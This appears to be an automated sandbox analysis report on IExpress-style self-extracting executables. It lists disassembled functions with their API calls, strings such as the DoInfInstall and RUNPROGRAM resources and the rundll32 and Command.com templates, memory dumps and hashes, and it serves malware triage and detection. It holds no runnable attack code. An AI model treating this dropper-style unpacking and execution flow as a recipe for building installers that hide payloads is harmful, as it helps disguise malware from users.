LoadLibraryExA.KERNEL32(?,00000000,00000008,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000000), ref: 00AF64F9
LoadLibraryA.KERNEL32(advpack.dll,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\,?,00000000), ref: 00AF6502

Strings

advpack.dll, xrefs: 00AF64C2, 00AF64CD, 00AF6501
C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF64AC

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: LibraryLoad$AttributesFile
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\$advpack.dll
API String ID: 438848745-3736221019
Opcode ID: ce43a62c8c38360aed054cc4ebec7682f80c265165e40d834a289aa0e701d434
Instruction ID: 5c13f7c16729d69e54b057270c6028acf0dace59cbc2d5a5bdcd7d0bc7997dd3
Opcode Fuzzy Hash: ce43a62c8c38360aed054cc4ebec7682f80c265165e40d834a289aa0e701d434
Instruction Fuzzy Hash: CE01A97050410CABDB50EBE4DC45FFE7778EB64311F500295F689A21D0DF70AE86CA51

Uniqueness

Uniqueness Score: -1.00%

Function 00AF28E8 Relevance: 7.6, APIs: 5, Instructions: 140memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32 ref: 00AF2A6F

Part of subcall function 00AF2773: CharUpperA.USER32(220F3307,00000000,00000000,00000000), ref: 00AF27A8
Part of subcall function 00AF2773: CharNextA.USER32(0000054D), ref: 00AF27B5
Part of subcall function 00AF2773: CharNextA.USER32(00000000), ref: 00AF27BC
Part of subcall function 00AF2773: RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00AF2829
Part of subcall function 00AF2773: RegQueryValueExA.ADVAPI32(?,00AF1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00AF2852
Part of subcall function 00AF2773: ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00AF2870
Part of subcall function 00AF2773: RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 00AF28A0

GlobalAlloc.KERNEL32(00000042,00000000,?,?,?,?,?,?,?,?,00AF3938,?,?,?,?,-00000005), ref: 00AF2958
GlobalLock.KERNEL32 ref: 00AF2969
GlobalUnlock.KERNEL32(00000000,?,?,?,?,?,?,?,?,00AF3938,?,?,?,?,-00000005,?), ref: 00AF2A21
GlobalUnlock.KERNEL32(00000000,?,?,?,?), ref: 00AF2A81

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: 901161ae51f94e8f77a751bcf7eae5f20e0e3fde7a5c2d8a0686e39bbdc00164
Instruction ID: 15b771962b286108194b06af4ebaf5932685a4503d6d0378cb9176e963ee5a63
Opcode Fuzzy Hash: 901161ae51f94e8f77a751bcf7eae5f20e0e3fde7a5c2d8a0686e39bbdc00164
Instruction Fuzzy Hash: B9511671A00219EBDB21EFD8D884AFEBBB5FF48740F14402AFA05E3261DB319941DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00AF4169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46A0
Part of subcall function 00AF468F: SizeofResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46A9
Part of subcall function 00AF468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00AF46C3
Part of subcall function 00AF468F: LoadResource.KERNEL32(00000000,00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46CC
Part of subcall function 00AF468F: LockResource.KERNEL32(00000000,?,00AF2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46D3
Part of subcall function 00AF468F: memcpy_s.MSVCRT ref: 00AF46E5
Part of subcall function 00AF468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00AF46EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,00AF30B4), ref: 00AF4189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,00AF30B4), ref: 00AF41E7

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Strings

<None>, xrefs: 00AF41C5
FINISHMSG, xrefs: 00AF4173, 00AF41AB

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: e668b4bb1519b19054831ba937ba992f6486118b6aed206210a0677c8e5a7c52
Instruction ID: 1b91f927e09324c6dd054253a2727ec46d3fb84faaa61ccaa5b0d47149d3c29a
Opcode Fuzzy Hash: e668b4bb1519b19054831ba937ba992f6486118b6aed206210a0677c8e5a7c52
Instruction Fuzzy Hash: 8901F4F130021C7FF32417E65C86FBB619EDBD8795F004225B705E21809E68DC028179

Uniqueness

Uniqueness Score: -1.00%

Function 00AF19E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00AF1A18
GetDesktopWindow.USER32 ref: 00AF1A24
LoadStringA.USER32(?,?,00000200), ref: 00AF1A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00AF1A62
MessageBeep.USER32(000000FF), ref: 00AF1A6A

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 672b166326f2eb2e370d2af3ffe4f1505febacf54744c3f8ba8fb5485b308261
Instruction ID: ac019e2cf23da8766c42ced2ac1ea145cd2c8bc8702ec01a361b362eed103ff1
Opcode Fuzzy Hash: 672b166326f2eb2e370d2af3ffe4f1505febacf54744c3f8ba8fb5485b308261
Instruction Fuzzy Hash: C111CE7150010DABCB00EFE4DE08AFE77B8EB19340F008250FA1692190CA30AE12CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00AF7155 Relevance: 7.6, APIs: 5, Instructions: 51timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 00AF7182
GetCurrentProcessId.KERNEL32 ref: 00AF7191
GetCurrentThreadId.KERNEL32 ref: 00AF719A
GetTickCount.KERNEL32 ref: 00AF71A3
QueryPerformanceCounter.KERNEL32(?), ref: 00AF71B8

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 2057f46a2afb3cf5a2b20cee248ed3772df97f4fc4cf9ac78ce0d15f5e609cdb
Instruction ID: 21211da1dc15881844e6850069f6a5047fc5ed31c6947cc09a1a27875a1db97f
Opcode Fuzzy Hash: 2057f46a2afb3cf5a2b20cee248ed3772df97f4fc4cf9ac78ce0d15f5e609cdb
Instruction Fuzzy Hash: BC111C71D05208DFCB10DFF8DA48AAEB7F4EF58315FA14A55E90AE7210EB349A06CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00AF63C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 00AF642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 00AF645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP002.TMP\), ref: 00AF647A

Strings

C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF63EB

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\
API String ID: 1065093856-1610346413
Opcode ID: 6c30c332b4ce11982eeadfc06c0f2f9a35e7dbda77e9a511ee2648d4afa911fc
Instruction ID: c77d84beb2baac80c241fedf84121ac0949c534bec86ab14ba61cbdc7fb1a7ba
Opcode Fuzzy Hash: 6c30c332b4ce11982eeadfc06c0f2f9a35e7dbda77e9a511ee2648d4afa911fc
Instruction Fuzzy Hash: 4621C3B1A0021CABD710DFE5DC85FFB7368EB94314F104269B685A3180DBB06D85CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00AF47E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00AF4E6F), ref: 00AF47EA
LocalAlloc.KERNEL32(00000040,?), ref: 00AF4823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00AF4847

Part of subcall function 00AF44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00AF4518
Part of subcall function 00AF44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00AF4554

Strings

C:\Users\user\AppData\Local\Temp\IXP002.TMP\, xrefs: 00AF4851

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP002.TMP\
API String ID: 359063898-1610346413
Opcode ID: 6eaf058568a45b392a0c4f8a18ff6e091907de5c35709a673f66b913c734ee62
Instruction ID: 7c3e3960096d25a86460f265b9a79c2808941ccb5f2b64ca2d0c95121bf46df9
Opcode Fuzzy Hash: 6eaf058568a45b392a0c4f8a18ff6e091907de5c35709a673f66b913c734ee62
Instruction Fuzzy Hash: B511E3B52046456FD7149FE49C18B733B5AEB89350B048519FA42D7241DA359C06C6A0

Uniqueness

Uniqueness Score: -1.00%

Function 00AF3680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 00AF369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00AF36B2
DispatchMessageA.USER32(?), ref: 00AF36CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00AF36DA

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: d49210c9ee2f428047f9ed0ea9af8d802a7b5110d9e823b2743227a47a5d58f8
Instruction ID: 303397c5c5210beba2bb0b557d965abb8327d1ad426640d6237b1cb4b473a3b2
Opcode Fuzzy Hash: d49210c9ee2f428047f9ed0ea9af8d802a7b5110d9e823b2743227a47a5d58f8
Instruction Fuzzy Hash: B001A77390021977DF308BE65C48EFF767CEBC5B10F000219FA05E2180D560C641C664

Uniqueness

Uniqueness Score: -1.00%

Function 00AF6517 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00AF0000,000007D6,00000005), ref: 00AF652A
LoadResource.KERNEL32(00AF0000,00000000,?,?,00AF2EE8,00000000,00AF19E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00AF6538
DialogBoxIndirectParamA.USER32(00AF0000,00000000,00000547,00AF19E0,00000000), ref: 00AF6557
FreeResource.KERNEL32(00000000,?,?,00AF2EE8,00000000,00AF19E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00AF6560

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 85b4f84c8b537f7c0528944b86b61ddbba8bce8c7e070d7a25a50948811702cd
Instruction ID: 887c1b14fdf80162fcb1736f1885859d697cd00fe3fb7d78352c10e792bf70f0
Opcode Fuzzy Hash: 85b4f84c8b537f7c0528944b86b61ddbba8bce8c7e070d7a25a50948811702cd
Instruction Fuzzy Hash: 700126B210020DBBCB209FE9AC48DFB7A6CEB89361F010125FF04A3150DB72CC11C6A1

Uniqueness

Uniqueness Score: -1.00%

Function 00AF65E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00AF2B33), ref: 00AF6602
CharPrevA.USER32(?,00000000), ref: 00AF6612
CharPrevA.USER32(?,00000000), ref: 00AF6629
CharNextA.USER32(00000000), ref: 00AF6635

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: d24fffa585b7f97c5360138baae9d2f10a06222871d1dcfcfd2690fe7804702c
Instruction ID: e2d37ba3de976f4a4125787619717288b68c13ea926dcce214d4ea8a53ff9386
Opcode Fuzzy Hash: d24fffa585b7f97c5360138baae9d2f10a06222871d1dcfcfd2690fe7804702c
Instruction Fuzzy Hash: B8F0F4720041956EE7365BE88CC88FBEF9CCB9B254B2A02AFF696D2101D6150D06C761

Uniqueness

Uniqueness Score: -1.00%

Function 00AF69B0 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00AF6FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00AF6FC5

__set_app_type.MSVCRT ref: 00AF69C2
__p__fmode.MSVCRT ref: 00AF69D8
__p__commode.MSVCRT ref: 00AF69E6
__setusermatherr.MSVCRT ref: 00AF6A07

Memory Dump Source

Source File: 00000002.00000002.262879676.0000000000AF1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000002.00000002.262876912.0000000000AF0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262882602.0000000000AF8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.262885597.0000000000AFC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_af0000_v5523814.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: a473d7505628b57fc769b70409d636b4fdedd9d94cccdbd96ffdc4bc8f4f992a
Instruction ID: 7e45fd891c6486add77359c3de581081b9b585887ad59e6a7eb51e025d3d4c95
Opcode Fuzzy Hash: a473d7505628b57fc769b70409d636b4fdedd9d94cccdbd96ffdc4bc8f4f992a
Instruction Fuzzy Hash: B6F0ACB06083059FD754EBF4EE0A6B83B61FB14371B100619F566862F5CF3E9547CA15

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: v2232713.exePID: 6536, Parent PID: 6520COMMON

Execution Graph

Execution Coverage:	26.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	967
Total number of Limit Nodes:	42

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 01133BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 01133C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 01133CDC

Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346A0
Part of subcall function 0113468F: SizeofResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346A9
Part of subcall function 0113468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011346C3
Part of subcall function 0113468F: LoadResource.KERNEL32(00000000,00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346CC
Part of subcall function 0113468F: LockResource.KERNEL32(00000000,?,01132D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011346D3
Part of subcall function 0113468F: memcpy_s.MSVCRT ref: 011346E5
Part of subcall function 0113468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011346EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,01138C42), ref: 01133D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 01133E26
FreeLibrary.KERNEL32(00000000,?,01138C42), ref: 01133EFF
LocalFree.KERNEL32(?,?,?,?,01138C42), ref: 01133F1F
FreeLibrary.KERNEL32(00000000,?,01138C42), ref: 01133F40
LocalFree.KERNEL32(?,?,?,?,01138C42), ref: 01133F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,01138C42), ref: 01133F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,01138C42), ref: 01133F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,01138C42), ref: 01133FC2

Strings

DoInfInstall, xrefs: 01133E1F, 01133E24, 01133F68
POSTRUNPROGRAM, xrefs: 01133D60
<None>, xrefs: 01133CC9, 01133D7D
REBOOT, xrefs: 01133BE2
USRQCMD, xrefs: 01133CAD
ADMQCMD, xrefs: 01133C9E
RUNPROGRAM, xrefs: 01133D05
SHOWWINDOW, xrefs: 01133C34
no230, xrefs: 01133E68
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 01133E74
advpack.dll, xrefs: 01133F9D
D, xrefs: 01133C19

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP003.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$no230
API String ID: 1032054927-2149296253
Opcode ID: c95312177536b67ec49213fb0aa433afbad392e11ff46dffc794aaadc7f0c428
Instruction ID: ff8ccc0c6e7f49af7c51e524d10d46b76c9401d9d726c057f91d2e1241ab4c7e
Opcode Fuzzy Hash: c95312177536b67ec49213fb0aa433afbad392e11ff46dffc794aaadc7f0c428
Instruction Fuzzy Hash: D8B1D3B05143019BE73C9F289844B6BBAE8FBC4714F104A2DFAB5E619CD770C885CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 01131AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,?,00000000,00000001,00000000), ref: 01131BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,?,00000000,00000001,00000000), ref: 01131BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP003.TMP\,?,?,00000000,00000001,00000000), ref: 01131C57
GetPrivateProfileIntA.KERNEL32 ref: 01131C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,01131140,00000000,00000008,?), ref: 01131CB8
GetShortPathNameA.KERNEL32 ref: 01131D1B

Part of subcall function 011344B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 01134518
Part of subcall function 011344B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 01134554

Strings

Version, xrefs: 01131CB3
.INF, xrefs: 01131BDB
.BAT, xrefs: 01131D83
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 01131D3B
setupx.dll, xrefs: 01131D14
setupapi.dll, xrefs: 01131D23, 01131D3A
C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 01131BA0
AdvancedINF, xrefs: 01131CAE
", xrefs: 01131B25
Command.com /c %s, xrefs: 01131D9B, 01131DE8
DefaultInstall, xrefs: 01131C74, 01131C87, 01131CCE, 01131CD3, 01131D2D, 01131D39
Reboot, xrefs: 01131C82

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252790883.0000000001138000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.252795082.000000000113C000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1130000_v2232713.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP003.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-2247772235
Opcode ID: f4be37d7a2c4a4286860cd75238ec3dc828d3ca63fbe4bf482ee8a23919cd0fb
Instruction ID: 927290e2a0e82c7bb9bc585499f83ee2d388c2d8d121f29c2e8d2dc292a4f658
Opcode Fuzzy Hash: f4be37d7a2c4a4286860cd75238ec3dc828d3ca63fbe4bf482ee8a23919cd0fb
Instruction Fuzzy Hash: B4A120B0A002157BEB3D9B28CC48BE97B699FD5314F1442A5E595E32CCDBB09EC5CB50

Uniqueness

Uniqueness Score: -1.00%

Function 01132F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 01132F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 01132FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 01132FC6
DecryptFileA.ADVAPI32 ref: 01132FE6
FreeLibrary.KERNEL32(00000000), ref: 01132FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP003.TMP\), ref: 0113301C

Part of subcall function 011351E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,01132F4D,?,00000002,00000000), ref: 01135201

Strings

C:\Users\user\AppData\Local\Temp\IXP003.TMP\, xrefs: 01132FDB, 01133017
DecryptFileA, xrefs: 01132FC0
advapi32.dll, xrefs: 01132F99

Memory Dump Source

Source File: 00000003.00000002.252787083.0000000001131000.00000020.00000001.01000000.00000006.sdmp, Offset: 01130000, based on PE: true

Associated: 00000003.00000002.252783611.0000000001130000.00000002.00000001.01000000.00000006.sdmpDownload File
